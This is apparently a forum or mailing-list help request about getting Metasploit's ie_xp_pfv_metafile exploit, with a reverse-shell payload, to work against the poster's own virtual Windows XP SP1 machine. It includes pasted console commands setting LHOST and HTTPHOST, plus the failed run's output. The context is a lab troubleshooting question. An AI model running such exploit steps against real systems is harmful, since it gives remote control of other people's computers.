ie_xp_pfv_metafile doesn't work

Thanks for your help, but it still without working.  I?ve tried opening the
explorer in 192.168.0.100:8080 in the target pc, as you told me. The first time
I mistakably put the parameter HTTPHOST 0.0.0.0, and it did work I can access
the target pc!

The problem is that when I set HTTPHOST with the real ip address it doesn?t
work. This is what happens:

msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 192.168.0.100
LHOST -> 192.168.0.100
msf ie_xp_pfv_metafile(win32_reverse) > set HTTPHOST 192.168.0.101
HTTPHOST -> 192.168.0.101
msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[-] Failed to create local HTTP listener on 8080
[*] Exiting Reverse Handler.
msf ie_xp_pfv_metafile(win32_reverse) >

Why is this happening? I really don?t understand. I don't know if this is
useful, but I have a virtual pc in which I run xp sp1.

Thanks!
